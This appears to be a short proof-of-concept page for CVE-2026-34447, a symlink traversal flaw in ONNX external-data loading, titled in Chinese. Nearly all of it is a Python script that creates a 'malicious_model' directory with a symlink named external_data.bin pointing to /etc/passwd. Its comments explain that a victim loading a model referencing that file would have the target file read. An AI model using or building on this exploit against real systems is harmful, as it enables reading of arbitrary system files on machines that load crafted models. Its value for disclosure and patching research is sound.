CVE-2026-34447: ONNX符号链接遍历漏洞

import os import onnx # PoC for CVE-2026-34447: ONNX Symlink Traversal # This script demonstrates how a symlink can be used to read arbitrary files. # Step 1: Create a directory for the malicious model os.makedirs("malicious_model", exist_ok=True) os.chdir("malicious_model") # Step 2: Create a symlink pointing to a sensitive file (e.g., /etc/passwd) # The external data parser will follow this link target_file = "/etc/passwd" symlink_name = "external_data.bin" try: os.symlink(target_file, symlink_name) print(f"[+] Created symlink '{symlink_name}' -> '{target_file}'") except OSError as e: print(f"[-] Failed to create symlink: {e}") # Step 3: In a real exploit, an ONNX model file would be created/modified # to reference 'external_data.bin'. When the victim loads the model, # ONNX reads the file content through the symlink. print("[+] PoC setup complete. If a model references 'external_data.bin', /etc/passwd will be read.")